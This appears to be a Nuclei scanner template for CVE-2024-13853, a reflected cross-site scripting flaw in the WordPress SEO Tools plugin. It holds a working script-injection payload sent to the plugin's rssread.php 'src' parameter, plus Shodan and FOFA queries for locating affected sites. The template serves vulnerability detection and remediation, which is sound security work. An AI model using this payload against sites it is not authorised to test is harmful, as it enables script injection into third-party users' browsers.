id: CVE-2024-13853

info:
  name: WordPress SEO Tools Plugin 4.0.7 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The SEO Tools WordPress plugin through version 4.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'src' parameter in the rssread.php file before outputting it back in the page, which could allow attackers to execute arbitrary JavaScript code in a victim's browser.
  impact: |
    Unauthenticated attackers can execute arbitrary JavaScript in a victim's browser via the src parameter, potentially stealing cookies or credentials.
  remediation: |
    Update SEO Tools plugin to a version newer than 4.0.7.
  reference:
    - https://wpscan.com/vulnerability/52991dd9-41f7-4cf8-b8c9-56dd4e62bf0c
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13853
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13853
    cwe-id: CWE-79
    epss-score: 0.00599
    epss-percentile: 0.43924
  metadata:
    max-request: 1
    vendor: WordPress
    product: seo-automatic-seo-tools
    shodan-query: http.html:"seo-automatic-seo-tools"
    fofa-query: body="wp-content/plugins/seo-automatic-seo-tools/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,xss,seo-automatic-seo-tools,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - 'seo-automatic-seo-tools'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/seo-automatic-seo-tools/feedcommander/rssread.php?src=1%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script><script>'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022057884f985d8092dd3c235bcc41f50ffc6a51d7bfc19abdb25d9b7c0e2cb6c59c0221009126e008f5c6b18e23697084e96aa5f2992e4c50b9e3eca4c3ebd9412776e774:922c64590222798bb761d5b6d8e72950